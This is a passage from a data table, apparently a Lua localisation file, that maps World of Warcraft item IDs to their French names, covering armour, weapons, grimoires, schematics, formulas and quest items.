brûlée",[15902]="Un sac miraculeux",[15903]="Griffe de droitier",[15904]="Lames de droitier",[15905]="Coup de poing de droitier en laiton",[15906]="Coup de poing de gaucher en laiton",[15907]="Griffe de gaucher",[15908]="Bâtonnet de domptage",[15909]="Lames de gaucher",[15910]="Monster - Trident, Dark Ornate",[15911]="Bâtonnet de domptage",[15912]="Orbe de boucanier",[15913]="Bâtonnet de domptage",[15914]="Bâtonnet de domptage",[15915]="Bâtonnet de domptage",[15916]="Bâtonnet de domptage",[15917]="Bâtonnet de domptage",[15918]="Sphère d\'adjurateur",[15919]="Bâtonnet de domptage",[15920]="Bâtonnet de domptage",[15921]="Bâtonnet de domptage",[15922]="Bâtonnet de domptage",[15923]="Bâtonnet de domptage",[15924]="Chair de praire",[15925]="Bâton de compagnon",[15926]="Orbe de lieur de sort",[15927]="Sphère éclatante",[15928]="Bâtonnet broché d\'argent",[15929]="Orbe nocturne",[15930]="Sceptre impérial rouge",[15931]="Etoile des Arcanes",[15932]="Bock de disciple",[15933]="Branche simple",[15934]="Bâton de sage",[15935]="Bâtonnet durable",[15936]="Branche tissée de pénombre",[15937]="Sphère hivernale",[15938]="Orbe mystique",[15939]="Sceptre de conseiller",[15940]="Sceptre élégant",[15941]="Sceptre de grand conseiller",[15942]="Bâtonnet de maître",[15943]="Bouclier imprégné",[15944]="Orbe ancestral",[15945]="Baguette runique",[15946]="Sphère de mystique",[15947]="Etoile sanguine",[15962]="Bâtonnet du satyre",[15963]="Branche étoffe-de-pierre",[15964]="Etoile Sable-soie",[15965]="Orbe chasse-vent",[15966]="Orbe du voile vénéneux",[15967]="Etoile de Bien-né",[15968]="Sphère élunarienne",[15969]="Orbe perlé",[15970]="Branche indigène",[15971]="Bâtonnet aborigène",[15972]="Bock rituel",[15973]="Etoile de gardien",[15974]="Bâtonnet païen",[15975]="Sceptre d\'invocateur de pluie",[15976]="Branche crin-de-chardon",[15977]="Orbe vital",[15978]="Bâtonnet de géomancien",[15979]="Bâton en étoffe de flamme",[15980]="Orbe de Sombrebrume",[15981]="Sphère lunaire",[15982]="Bâtonnet tissé de sang",[15983]="Sceptre de Gaïa",[15984]="Sceptre opulent",[15985]="Branche arachnéenne",[15986]="Etoile d\'ossomancien",[15987]="Orbe astral",[15988]="Orbe resplendissant",[15989]="Bâtonnet éternel",[15990]="Bouclier endurci",[15991]="Bouclier de meneur de guerre",[15992]="Poudre d\'explosion dense",[15993]="Grenade en thorium",[15994]="Rouage en thorium",[15995]="Carabine en thorium",[15996]="Crapaud mécanique",[15997]="Obus en thorium",[15998]="Note de Lewis",[15999]="Lunettes de concentration extrême",[16000]="Tube en thorium",[16001]="Insigne du SI:7 (Fredo)",[16002]="Insigne du SI:7 (Turyen)",[16003]="Insigne du SI:7 (Rutger)",[16004]="Carabine en sombrefer",[16005]="Bombe en sombrefer",[16006]="Convertisseur d\'arcanite délicat",[16007]="Carabine sans défaut en arcanite",[16008]="Lunettes de maître ingénieur",[16009]="Modulateur d\'amplification vocale",[16022]="Petit dragon en arcanite",[16023]="Leurre ouvragé",[16039]="Lame chantante de Ta\'Kierthan",[16040]="Bombe des Arcanes",[16041]="Schéma : Grenade en thorium",[16042]="Schéma : Rouage en thorium",[16043]="Schéma : Carabine en thorium",[16044]="Schéma : Crapaud mécanique",[16045]="Schéma : Lunettes de concentration extrême",[16046]="Schéma : Leurre ouvragé",[16047]="Schéma : Tube en thorium",[16048]="Schéma : Carabine en sombrefer",[16049]="Schéma : Bombe en sombrefer",[16050]="Schéma : Convertisseur d\'arcanite délicat",[16051]="Schéma abîmé : Obus en thorium",[16052]="Schéma : Modulateur d\'amplification vocale",[16053]="Schéma : Lunettes de maître ingénieur",[16054]="Schéma : Petit dragon en arcanite",[16055]="Schéma : Bombe des Arcanes",[16056]="Schéma : Carabine sans défaut en arcanite",[16057]="Sac d\'explorateur",[16058]="Sceau de Fordring",[16059]="Chemise marron classique",[16060]="Chemise blanche classique",[16072]="Livre de cuisine pour expert",[16083]="Expert pêcheur - Vous et la perche",[16084]="Expert secouriste - Sous les pansements",[16110]="Recette : Omelette monstrueuse",[16111]="Recette : Chili de crabe épicé",[16112]="Manuel : Bandage épais en soie",[16113]="Manuel : Bandage en tisse-mage",[16114]="Matraque du contremaître",[16115]="Caisse d\'Osric",[16165]="Test Res d\'Arcanes Jambes Mailles",[16166]="Soupe de haricots",[16167]="Friandise versicolore",[16168]="Pêche céleste",[16169]="Gâteau de riz sauvage",[16170]="Mandu vapeur",[16171]="Shinsollo",[16189]="Lettre de réserve de Maggran",[16190]="Cadavre de déchiqueteuse Rougefurie",[16192]="Croc de Besseleth",[16202]="Essence éternelle inférieure",[16203]="Essence éternelle supérieure",[16204]="Poudre d\'illusion",[16205]="Graine de Gaïa",[16206]="Bâtonnet en arcanite",[16207]="Bâtonnet runique en arcanite",[16208]="Graines de Gaïa enchantées",[16209]="Ordre de Morris",[16210]="Caisse de Gordon",[16214]="Formule : Enchantement de brassards (Intelligence supérieure)",[16215]="Formule : Enchantement de bottes (Endurance supérieure)",[16216]="Formule : Enchantement de cape (Résistance supérieure)",[16217]="Formule : Enchantement de bouclier (Endurance supérieure)",[16218]="Formule : Enchantement de brassards (Esprit excellent)",[16219]="Formule : Enchantement de gants (Agilité supérieure)",[16220]="Formule : Enchantement de bottes (Esprit)",[16221]="Formule : Enchantement de plastron (Santé majeure)",[16222]="Formule : Enchantement de bouclier (Esprit excellent)",[16223]="Formule : Enchantement d\'arme (Frisson glacial)",[16224]="Formule : Enchantement de cape (Défense excellent)",[16242]="Formule : Enchantement de plastron (Mana majeur)",[16243]="Formule : Bâtonnet runique en arcanite",[16244]="Formule : Enchantement de gants (Force supérieure)",[16245]="Formule : Enchantement de bottes (Agilité supérieure)",[16246]="Formule : Enchantement de brassards (Force excellente)",[16247]="Formule : Enchantement d\'arme 2M (Impact excellent)",[16248]="Formule : Enchantement d\'arme (Impie)",[16249]="Formule : Enchantement d\'arme 2M (Intelligence majeure)",[16250]="Formule : Enchantement d\'arme (Frappe excellente)",[16251]="Formule : Enchantement de brassards (Endurance excellente)",[16252]="Formule : Enchantement d\'arme (Croisé)",[16253]="Formule : Enchantement de plastron (Caractéristiques supérieures)",[16254]="Formule : Enchantement d\'arme (Vol de vie)",[16255]="Formule : Enchantement d\'arme 2M (Esprit majeur)",[16262]="Livre de recettes de Dolanaar",[16263]="Réponse de sœur Aquinne",[16282]="Tas de peaux",[16283]="Marchandises en cuir d\'Ahanu",[16302]="Grimoire d\'Eclair de feu (rang 2)",[16303]="Patte d\'Ursangous",[16304]="Tête de Shadumbra",[16305]="Griffe de Serres-tranchantes",[16306]="Viande de Grimtak",[16307]="Lettre de Gryshka",[16309]="Amulette drakefeu",[16310]="Liste de Gremlock",[16311]="Fendoir honorifique",[16312]="Incendrites",[16313]="Coffre de Felix",[16314]="Seau de boulons de Felix",[16316]="Grimoire d\'Eclair de feu (rang 3)",[16317]="Grimoire d\'Eclair de feu (rang 4)",[16318]="Grimoire d\'Eclair de feu (rang 5)",[16319]="Grimoire d\'Eclair de feu (rang 6)",[16320]="Grimoire d\'Eclair de feu (rang 7)",[16321]="Grimoire de Pacte de sang (rang 1)",[16322]="Grimoire de Pacte de sang (rang 2)",[16323]="Grimoire de Pacte de sang (rang 3)",[16324]="Grimoire de Pacte de sang (rang 4)",[16325]="Grimoire de Pacte de sang (rang 5)",[16326]="Grimoire de Bouclier de feu (rang 1)",[16327]="Grimoire de Bouclier de feu (rang 2)",[16328]="Grimoire de Bouclier de feu (rang 3)",[16329]="Grimoire de Bouclier de feu (rang 4)",[16330]="Grimoire de Bouclier de feu (rang 5)",[16331]="Grimoire de Changement de phase",[16332]="Pioche de Thazz\'ril",[16333]="Cadavre de Samuel",[16335]="Insigne de sergent-chef",[16341]="Cape de sergent",[16342]="Pèlerine de sergent",[16345]="Lame de grand seigneur de guerre",[16346]="Grimoire de Tourment (rang 2)",[16347]="Grimoire de Tourment (rang 3)",[16348]="Grimoire de Tourment (rang 4)",[16349]="Grimoire de Tourment (rang 5)",[16350]="Grimoire de Tourment (rang 6)",[16351]="Grimoire de Sacrifice (rang 1)",[16352]="Grimoire de Sacrifice (rang 2)",[16353]="Grimoire de Sacrifice (rang 3)",[16354]="Grimoire de Sacrifice (rang 4)",[16355]="Grimoire de Sacrifice (rang 5)",[16356]="Grimoire de Sacrifice (rang 6)",[16357]="Grimoire de Consumer les ombres (rang 1)",[16358]="Grimoire de Consumer les ombres (rang 2)",[16359]="Grimoire de Consumer les ombres (rang 3)",[16360]="Grimoire de Consumer les ombres (rang 4)",[16361]="Grimoire de Consumer les ombres (rang 5)",[16362]="Grimoire de Consumer les ombres (rang 6)",[16363]="Grimoire de Souffrance (rang 1)",[16364]="Grimoire de Souffrance (rang 2)",[16365]="Grimoire de Souffrance (rang 3)",[16366]="Grimoire de Souffrance (rang 4)",[16368]="Grimoire de Fouet de la douleur (rang 2)",[16369]="Bottes de chevalier-lieutenant en soie",[16371]="Grimoire de Fouet de la douleur (rang 3)",[16372]="Grimoire de Fouet de la douleur (rang 4)",[16373]="Grimoire de Fouet de la douleur (rang 5)",[16374]="Grimoire de Fouet de la douleur (rang 6)",[16375]="Grimoire de Baiser apaisant (rang 1)",[16376]="Grimoire de Baiser apaisant (rang 2)",[16377]="Grimoire de Baiser apaisant (rang 3)",[16378]="Grimoire de Baiser apaisant (rang 4)",[16379]="Grimoire de Séduction",[16380]="Grimoire d\'Invisibilité inférieure",[16381]="Grimoire de Dévorer la magie (rang 2)",[16382]="Grimoire de Dévorer la magie (rang 3)",[16383]="Grimoire de Dévorer la magie (rang 4)",[16384]="Grimoire de Corruption sanguine (rang 1)",[16385]="Grimoire de Corruption sanguine (rang 2)",[16386]="Grimoire de Corruption sanguine (rang 3)",[16387]="Grimoire de Corruption sanguine (rang 4)",[16388]="Grimoire de Verrou magique (rang 1)",[16389]="Grimoire de Verrou magique (rang 2)",[16390]="Grimoire de Paranoïa",[16391]="Gants de chevalier-lieutenant en soie",[16392]="Bottes de chevalier-lieutenant en cuir",[16393]="Bottillons de chevalier-lieutenant en peau de dragon",[16396]="Gantelets de chevalier-lieutenant en cuir",[16397]="Gants de chevalier-lieutenant en peau de dragon",[16401]="Bottes de chevalier-lieutenant en anneaux",[16403]="Gantelets de chevalier-lieutenant en anneaux",[16405]="Bottes de chevalier-lieutenant en plaques",[16406]="Gantelets de chevalier-lieutenant en plaques",[16408]="Globe d\'eau souillée",[16409]="Solerets lamellaires de chevalier-lieutenant",[16410]="Gantelets lamellaires de chevalier-lieutenant",[16413]="Grande tenue de chevalier-capitaine en soie",[16414]="Jambières de chevalier-capitaine en soie",[16415]="Spallières de lieutenant-commandant en soie",[16416]="Couronne de lieutenant-commandant",[16417]="Armure de chevalier-capitaine en cuir",[16418]="Cagoule de lieutenant-commandant en cuir",[16419]="Garde-jambes de chevalier-capitaine en cuir",[16420]="Spallières de lieutenant-commandant en cuir",[16421]="Tunique de chevalier-capitaine en peau de dragon",[16422]="Jambières de chevalier-capitaine en peau de dragon",[16423]="Epaulettes de lieutenant-commandant en peau de dragon",[16424]="Voile de lieutenant-commandant en peau de dragon",[16425]="Haubert de chevalier-capitaine en anneaux",[16426]="Jambières de chevalier-capitaine en anneaux",[16427]="Espauliers de lieutenant-commandant en anneaux",[16428]="Heaume de lieutenant-commandant en anneaux",[16429]="Heaume de lieutenant-commandant en plaques",[16430]="Corselet de chevalier-capitaine en plaques",[16431]="Jambières de chevalier-capitaine en plaques",[16432]="Espauliers de lieutenant-commandant en plaques",[16433]="Cuirasse lamellaire de chevalier-capitaine",[16434]="Protège-front lamellaire de lieutenant-commandant",[16435]="Jambières lamellaires de chevalier-capitaine",[16436]="Epaulières lamellaires de lieutenant-commandant",[16437]="Bottillons de maréchal en soie",[16440]="Gants de maréchal en soie",[16441]="Cerclet de grand maréchal",[16442]="Jambières de maréchal en soie",[16443]="Habit de grand maréchal en soie",[16444]="Spallières de grand maréchal en soie",[16446]="Protège-tibias de maréchal en cuir",[16448]="Gantelets de maréchal en peau de dragon",[16449]="Spallières de grand maréchal en peau de dragon",[16450]="Garde-jambes de maréchal en peau de dragon",[16451]="Heaume de grand maréchal en peau de dragon",[16452]="Cuirasse de grand maréchal en peau de dragon",[16453]="Plastron de grand maréchal en cuir",[16454]="Manicles de maréchal en cuir",[16455]="Masque de grand maréchal en cuir",[16456]="Jambières de maréchal en cuir",[16457]="Epaulettes de grand maréchal en cuir",[16459]="Bottes de maréchal en peau de dragon",[16462]="Bottes de maréchal en anneaux",[16463]="Poignes de maréchal en anneaux",[16465]="Casque de grand maréchal en anneaux",[16466]="Cuirasse de grand maréchal en anneaux",[16467]="Garde-jambes de maréchal en anneaux",[16468]="Spallières de grand maréchal en anneaux",[16471]="Gants lamellaires de maréchal",[16472]="Bottes lamellaires de maréchal",[16473]="Pansière lamellaire de grand maréchal",[16474]="Ventaille lamellaire de grand maréchal",[16475]="Cuissards lamellaires de maréchal",[16476]="Espauliers lamellaires de grand maréchal",[16477]="Armure de plaques de grand maréchal",[16478]="Casque de grand maréchal en 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cuir",[16507]="Mantelet de champion en cuir",[16508]="Jambières de légionnaire en cuir",[16509]="Bottes de garde de sang en plaques",[16510]="Gants de garde de sang en plaques",[16513]="Armure de plaques de légionnaire",[16514]="Heaume de champion en plaques",[16515]="Garde-jambes de légionnaire en plaques",[16516]="Espauliers de champion en plaques",[16518]="Brodequins de garde de sang en mailles",[16519]="Poignes de garde de sang en mailles",[16521]="Heaume de champion en mailles",[16522]="Plastron de légionnaire en mailles",[16523]="Jambières de légionnaire en mailles",[16524]="Epaulières de champion en mailles",[16525]="Cuirasse de légionnaire en anneaux",[16526]="Heaume de champion en anneaux",[16527]="Jambières de légionnaire en anneaux",[16528]="Espauliers de champion en anneaux",[16530]="Gantelets de garde de sang en anneaux",[16531]="Bottes de garde de sang en anneaux",[16532]="Garde-poignets d\'adjudant en mailles",[16533]="Capuche de seigneur de guerre en soie",[16534]="Chausses de général en soie",[16535]="Grande tenue de seigneur de guerre en soie",[16536]="Amict de seigneur de guerre en soie",[16539]="Bottes de général en soie",[16540]="Garde-mains de général en soie",[16541]="Armure de plaques de seigneur de guerre",[16542]="Chapel de seigneur de guerre en plaques",[16543]="Jambières de général en plaques",[16544]="Epaulières de seigneur de guerre en plaques",[16545]="Bottes de général en plaques",[16548]="Gantelets de général en plaques",[16549]="Haubert de seigneur de guerre en peau de dragon",[16550]="Casque de seigneur de guerre en peau de dragon",[16551]="Epaulettes de seigneur de guerre en peau de dragon",[16552]="Jambières de général en peau de dragon",[16554]="Bottes de général en peau de dragon",[16555]="Gants de général en peau de dragon",[16558]="Bottines de général en cuir",[16560]="Mitaines de général en cuir",[16561]="Heaume de seigneur de guerre en cuir",[16562]="Spallières de seigneur de guerre en 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Verseau",[16622]="Flanque-épines",[16623]="Médaillon d\'opaline",[16642]="Manuel d\'utilisation du déchiqueteur - Chapitre 1",[16643]="Manuel d\'utilisation du déchiqueteur - Chapitre 2",[16644]="Manuel d\'utilisation du déchiqueteur - Chapitre 3",[16645]="Manuel d\'utilisation du déchiqueteur - Page 1",[16646]="Manuel d\'utilisation du déchiqueteur - Page 2",[16647]="Manuel d\'utilisation du déchiqueteur - Page 3",[16648]="Manuel d\'utilisation du déchiqueteur - Page 4",[16649]="Manuel d\'utilisation du déchiqueteur - Page 5",[16650]="Manuel d\'utilisation du déchiqueteur - Page 6",[16651]="Manuel d\'utilisation du déchiqueteur - Page 7",[16652]="Manuel d\'utilisation du déchiqueteur - Page 8",[16653]="Manuel d\'utilisation du déchiqueteur - Page 9",[16654]="Manuel d\'utilisation du déchiqueteur - Page 10",[16655]="Manuel d\'utilisation du déchiqueteur - Page 11",[16656]="Manuel d\'utilisation du déchiqueteur - Page 12",[16658]="Cape de chasseur de fauves",[16659]="Ceinture d\'équilibriste",[16660]="Bouclier de Driftmire",[16661]="Cape du saule souple",[16662]="Fragment de l\'Oeil de dragon",[16663]="Sang du Champion des dragons noirs",[16665]="Tome de Tir tranquillisant",[16666]="Haubergeon des éléments",[16667]="Coiffe des éléments",[16668]="Kilt des éléments",[16669]="Espauliers des éléments",[16670]="Bottes des éléments",[16671]="Manchettes des éléments",[16672]="Gantelets des éléments",[16673]="Corde des éléments",[16674]="Tunique de bestiaire",[16675]="Bottes de bestiaire",[16676]="Gants de bestiaire",[16677]="Coiffe de bestiaire",[16678]="Pantalon de bestiaire",[16679]="Mantelet de bestiaire",[16680]="Ceinture de bestiaire",[16681]="Manchettes de bestiaire",[16682]="Bottes de magistère",[16683]="Manchettes de magistère",[16684]="Gants de magistère",[16685]="Ceinture de magistère",[16686]="Collerette de magistère",[16687]="Jambières de magistère",[16688]="Robe de magistère",[16689]="Mantelet de magistère",[16690]="Robe de dévot",[16691]="Sandales de dévot",[16692]="Gants de dévot",[16693]="Collerette de dévot",[16694]="Jupe de dévot",[16695]="Mantelet de dévot",[16696]="Ceinture de dévot",[16697]="Brassards de dévot",[16698]="Masque de Brume-funeste",[16699]="Jambières de Brume-funeste",[16700]="Robe de Brume-funeste",[16701]="Mantelet de Brume-funeste",[16702]="Ceinture de Brume-funeste",[16703]="Brassards de Brume-funeste",[16704]="Sandales de Brume-funeste",[16705]="Protège-mains de Brume-funeste",[16706]="Gilet du Cœur-sauvage",[16707]="Cagoule Sombreruse",[16708]="Spallières Sombreruse",[16709]="Pantalon Sombreruse",[16710]="Brassards Sombreruse",[16711]="Bottes Sombreruse",[16712]="Gants Sombreruse",[16713]="Ceinture Sombreruse",[16714]="Brassards du Cœur-sauvage",[16715]="Bottes du Cœur-sauvage",[16716]="Ceinture du Cœur-sauvage",[16717]="Gants du Cœur-sauvage",[16718]="Spallières du Cœur-sauvage",[16719]="Kilt du Cœur-sauvage",[16720]="Coiffe du Cœur-sauvage",[16721]="Tunique Sombreruse",[16722]="Brassards de Sancteforge",[16723]="Ceinture de Sancteforge",[16724]="Gantelets de Sancteforge",[16725]="Bottes de Sancteforge",[16726]="Cuirasse de Sancteforge",[16727]="Casque de Sancteforge",[16728]="Cuissards de Sancteforge",[16729]="Spallières de Sancteforge",[16730]="Cuirasse de vaillance",[16731]="Heaume de vaillance",[16732]="Cuissards de vaillance",[16733]="Spallières de vaillance",[16734]="Bottes de vaillance",[16735]="Brassards de vaillance",[16736]="Ceinture de vaillance",[16737]="Gantelets de vaillance",[16738]="Gants de sèchegraine",[16739]="Mantelet en bois d\'acacia",[16740]="Gants de manipulation du déchiqueteur",[16741]="Protège-mains huilés",[16742]="Lames du clan Chanteguerre",[16743]="Corde de bûcheron",[16744]="Huile chanteguerre",[16745]="Cargaison de haches chanteguerres",[16746]="Rapport du clan Chanteguerre",[16747]="Verrou cassé",[16748]="Doublure matelassée",[16762]="Noyau de la Brasse",[16763]="Mise à jour du messager chanteguerre",[16764]="Mise à jour de l\'éclaireur chanteguerre",[16765]="Mise à jour du voltigeur chanteguerre",[16766]="Soupe de palourdes de Terremine",[16767]="Recette : Soupe de palourdes de Terremine",[16768]="Sac-médecine furbolg",[16769]="Totem-médecine furbolg",[16782]="Globe d\'eau étrange",[16783]="Liasse de rapports",[16784]="Saphir d\'Aku\'Mai",[16785]="Lettre de Rokaro",[16786]="Oeil de draconide noir",[16787]="Amulette de subversion draconique",[16788]="Gouvernail du capitaine Rackmore",[16789]="Barre du capitaine Rackmore",[16790]="Note humide",[16791]="Crispins flot-de-soie",[16793]="Epaulières d\'Arcmetal",[16794]="Garde-poignets poigne-d\'acier",[16795]="Couronne d\'arcaniste",[16796]="Jambières d\'arcaniste",[16797]="Mantelet d\'arcaniste",[16798]="Robe d\'arcaniste",[16799]="Manchettes d\'arcaniste",[16800]="Bottes d\'arcaniste",[16801]="Gants d\'arcaniste",[16802]="Ceinture d\'arcaniste",[16803]="Mules de Gangrecœur",[16804]="Brassards de Gangrecœur",[16805]="Gants de Gangrecœur",[16806]="Ceinture de Gangrecœur",[16807]="Protège-épaules de Gangrecœur",[16808]="Cornes de Gangrecœur",[16809]="Robe de Gangrecœur",[16810]="Pantalon de Gangrecœur",[16811]="Bottes de prophétie",[16812]="Gants de prophétie",[16813]="Collerette de prophétie",[16814]="Pantalon de prophétie",[16815]="Robe de prophétie",[16816]="Mantelet de prophétie",[16817]="Ceinturon de prophétie",[16818]="Ceinture de vent du Néant",[16819]="Protège-bras de prophétie",[16820]="Plastron du tueur de la nuit",[16821]="Couvre-chef du tueur de la nuit",[16822]="Pantalon du tueur de la nuit",[16823]="Protège-épaules du tueur de la nuit",[16824]="Bottes du tueur de la nuit",[16825]="Bracelets du tueur de la nuit",[16826]="Gants du tueur de la nuit",[16827]="Ceinture du tueur de la nuit",[16828]="Ceinture cénarienne",[16829]="Bottes cénariennes",[16830]="Brassards cénariens",[16831]="Gants cénariens",[16832]="Spallières Croc-de-sang",[16833]="Habit cénarien",[16834]="Casque cénarien",[16835]="Jambières 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de courroux",[16963]="Heaume de courroux",[16964]="Gantelets de courroux",[16965]="Solerets de courroux",[16966]="Cuirasse de courroux",[16967]="Ahi de Féralas",[16968]="Frappeur de Sar\'theris",[16969]="Nagevoile bleu de la côte Sauvage",[16970]="Mahi Mahi de Brumejonc",[16971]="Surprise de palourdes",[16972]="Bannière de Senani",[16973]="Fiole d\'eau redoutable",[16974]="Fiole d\'eau vide",[16975]="Echarpe chanteguerre",[16976]="Totem de Murgut",[16977]="Bottes chanteguerre",[16978]="Gantelets chanteguerre",[16979]="Gants Cœur-de-braise",[16980]="Mantelet Cœur-de-braise",[16981]="Brassards de Barbe-huante",[16982]="Bottes du Magma",[16983]="Casque de la fournaise",[16984]="Bottes en écailles de dragon noir",[16985]="Bottes de Cherchevent",[16986]="Gants du Pic de sable",[16987]="Ceinture de hurleur",[16988]="Epaulières en anneaux de feu",[16989]="Ceinturon en anneaux de feu",[16990]="Cape des fées",[16991]="Bandage de Triage",[16992]="Lanceur explosif de Smokey",[16993]="Tire-flammes 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sauvage",[17028]="Bougie sanctifiée",[17029]="Bougie sacrée",[17030]="Ankh",[17031]="Rune de téléportation",[17032]="Rune des portails",[17033]="Symbole de divinité",[17034]="Graine d\'érable",[17035]="Graine de strangleronce",[17036]="Graine de frêne",[17037]="Graine de charme",[17038]="Graine de bois de fer",[17039]="Brise-crâne",[17042]="Crache-clous",[17043]="Robe de zélote",[17044]="Volonté du Martyr",[17045]="Sang du Martyr",[17046]="Lame d\'éviscération",[17047]="Amict luminescent",[17048]="Rhum de Rumsey",[17049]="Plans : Ceinturon en anneaux de feu",[17050]="Robe impériale de Chan",[17051]="Plans : Brassards en sombrefer",[17052]="Plans : Jambières en sombrefer",[17053]="Plans : Epaulières en anneaux de feu",[17054]="Pitié de Joonho",[17055]="Pilonneur de Changuk",[17056]="Plume légère",[17057]="Ecailles de poisson rutilantes",[17058]="Huile de poisson",[17059]="Plans : Déchireuse en sombrefer",[17060]="Plans : Destructeur en sombrefer",[17061]="Ombre de Junon",[17062]="Recette : Truite tête-mithril",[17063]="Bague de Précisia",[17064]="Eclat de l\'écaille",[17065]="Médaillon de puissance inébranlable",[17066]="Disque taraudeur",[17067]="Grimoire antique de la pierre angulaire",[17068]="Porte-mort",[17069]="Marque du Frappeur",[17070]="Croc des mystiques",[17071]="Eventreur sanguinolent",[17072]="Lanceur de grenaille explosive",[17073]="Trembleterre",[17074]="Frappe-ténèbres",[17075]="Vis\'kag le Saigneur",[17076]="Tranchant dilacérateur",[17077]="Abrutisseur cramoisi",[17078]="Drapé de Saphiron",[17082]="Eclat de la Flamme",[17102]="Cape du voile de brume",[17103]="Magelame chante-azur",[17104]="Faucheuse spinale",[17105]="Marteau en pierre d\'aura",[17106]="Défenseur de Malistar",[17107]="Cape sang-de-dragon",[17109]="Sautoir d\'illumination",[17110]="Sceau de l\'archimagus",[17111]="Médaillon Brasefurie",[17112]="Démolisseur empyréen",[17113]="Gardien du sceau ambré",[17114]="Eclat phylactère d\'Araj",[17117]="Pipeau du dératiseur",[17118]="Carton de viande mystère",[17119]="Kébab de Rat des profondeurs",[17123]="Monster - Sword, Horde Troll",[17124]="Emblème du Syndicat",[17125]="Sceau de Ravenholdt",[17126]="Lettre élégante",[17182]="Sulfuras, Main de Ragnaros",[17183]="Targe ébréchée",[17184]="Petit bouclier",[17185]="Targe ronde",[17186]="Petite rondache",[17187]="Targe cerclée",[17188]="Targe annelée",[17189]="Targe en métal",[17190]="Targe rouillée",[17191]="Sceptre de Celebras",[17192]="Rondache renforcée",[17193]="Marteau en sulfuron",[17194]="Epices spéciales",[17195]="Gui artificiel",[17196]="Eau-de-vie spéciale",[17197]="Biscuit en pain d\'épice",[17198]="Lait de poule",[17200]="Recette : Biscuit en pain d\'épice",[17201]="Recette : Lait de poule",[17202]="Boule de neige",[17203]="Lingot de sulfuron",[17204]="Oeil de Sulfuras",[17222]="Saucisse d\'araignée",[17223]="Frappe-tonnerre",[17224]="Lunette d\'observation",[17242]="Clé du coffre de Salem",[17262]="Clé de James",[17282]="Monster - Dagger, Exotic B01 Green",[17283]="Monster - Dagger, Exotic B01 Red",[17302]="Paquet cadeau à ruban bleu",[17303]="Papier d\'emballage à ruban bleu",[17304]="Papier d\'emballage à ruban vert",[17305]="Paquet cadeau à ruban vert",[17306]="Sang de soldat foudrepique",[17307]="Papier d\'emballage à ruban violet",[17308]="Paquet cadeau à ruban violet",[17309]="Bracelets discordants",[17310]="Aspect de Neptulon",[17322]="Oeil du Prophète ardent",[17323]="Balise de Mulverick",[17324]="Balise de Guse",[17325]="Balise de Jeztor",[17326]="Chair de soldat foudrepique",[17327]="Chair de lieutenant foudrepique",[17328]="Chair de commandant foudrepique",[17329]="Main de Lucifron",[17330]="Main de Sulfuron",[17331]="Main de Gehennas",[17332]="Main de Shazzrah",[17333]="Quintessence aquatique",[17344]="Sucre d\'orge",[17345]="Bave de silithide",[17346]="Objet silithide incrusté",[17348]="Breuvage de soins majeur",[17349]="Breuvage de soins excellent",[17351]="Breuvage de mana majeur",[17352]="Breuvage de mana excellent",[17353]="Ordres d\'assaut de Foudrepique",[17355]="Lettre de Rabine",[17362]="Balise de Ryson",[17363]="Balise de Ryson",[17364]="Lunette d\'observation",[17382]="Monster - Glaive - 2 Blade Purple",[17383]="Monster - Axe, 2H Horde Black War Axe",[17384]="Déchiqueteur portatif de Zinfoirux",[17402]="Bière du Grandpère Hiver",[17403]="Mousseux de Gentepression",[17404]="Bière mélangée",[17405]="Thé du jardin vert",[17406]="Roue de fromage de fête",[17407]="Tourte à la viande maison de Graccu",[17408]="Brochette de bœuf épicé",[17410]="Déchiqueteur portatif de Zinfoirux",[17411]="Scie à vapeur",[17413]="Codex : Prière de Robustesse",[17414]="Codex : Prière de Robustesse",[17422]="Morceaux d\'armures",[17423]="Cristal de tempête",[17442]="Ordres d\'assaut du clan Loup-de-givre",[17462]="Monster - Axe, Horde B02 Silver",[17463]="Monster - Axe, 2H Horde Blue War Axe",[17482]="Monster - Shield, B01 WoodCopperCap",[17502]="Médaille de soldat loup-de-givre",[17503]="Médaille de lieutenant loup-de-givre",[17504]="Médaille de commandant loup-de-givre",[17505]="Balise d\'Ichman",[17506]="Balise de Vipore",[17507]="Balise de Slidore",[17508]="Targe de la pierre de force",[17522]="Fournitures de Gouffrefer",[17523]="Drapé de Smokey",[17542]="Fournitures de Froide-dent",[17562]="Bottes de chevalier-lieutenant en tisse-effroi",[17564]="Gants de chevalier-lieutenant en tisse-effroi",[17566]="Protège-front de lieutenant-commandant",[17567]="Jambières de chevalier-capitaine en tisse-effroi",[17568]="Robe de chevalier-capitaine en tisse-effroi",[17569]="Mantelet de lieutenant-commandant en tisse-effroi",[17570]="Chaperon de champion en tisse-effroi",[17571]="Jambières de légionnaire en tisse-effroi",[17572]="Robe de légionnaire en tisse-effroi",[17573]="Epaulières de champion en tisse-effroi",[17576]="Bottes de garde de sang en tisse-effroi",[17577]="Gants de garde de sang en tisse-effroi",[17578]="Couronne de grand maréchal",[17579]="Jambières de maréchal en tisse-effroi",[17580]="Epaulières de grand maréchal en tisse-effroi",[17581]="Robe de grand maréchal en tisse-effroi",[17583]="Bottes de maréchal en tisse-effroi",[17584]="Gants de maréchal en tisse-effroi",[17586]="Bottes de général en tisse-effroi",[17588]="Gants de général en tisse-effroi",[17590]="Mantelet de seigneur de guerre en tisse-effroi",[17591]="Chaperon de seigneur de guerre en tisse-effroi",[17592]="Robe de seigneur de guerre en tisse-effroi",[17593]="Pantalon de général en tisse-effroi",[17594]="Bottes de chevalier-lieutenant en satin",[17596]="Gants de chevalier-lieutenant en satin",[17598]="Diadème de lieutenant-commandant",[17599]="Jambières de chevalier-capitaine en satin",[17600]="Robe de chevalier-capitaine en satin",[17601]="Amict de lieutenant-commandant en satin",[17602]="Coiffure de grand maréchal",[17603]="Pantalon de maréchal en satin",[17604]="Mantelet de grand maréchal en satin",[17605]="Habit de grand maréchal en satin",[17607]="Sandales de maréchal en satin",[17608]="Gants de maréchal en satin",[17610]="Capuche de champion en satin",[17611]="Chausses de légionnaire en satin",[17612]="Habit de légionnaire en satin",[17613]="Protège-épaules de champion en satin",[17616]="Bottes de garde de sang en satin",[17617]="Gants de garde de sang en satin",[17618]="Bottes de général en satin",[17620]="Gants de général en satin",[17622]="Mantelet de seigneur de guerre en satin",[17623]="Capuche de seigneur de guerre en satin",[17624]="Robe de seigneur de guerre en satin",[17625]="Jambières de général en satin",[17626]="Muselière loup-de-givre",[17642]="Peau de bélier d\'Alterac",[17643]="Peau de loup des glaces",[17662]="Friandises volées",[17682]="Livre : Don du fauve",[17683]="Livre : Don du fauve",[17684]="Gravure de cristal théradrique",[17685]="Echantillon de Gourmandises Fumebois",[17686]="Arc de maître-chasseur",[17687]="Carabine de 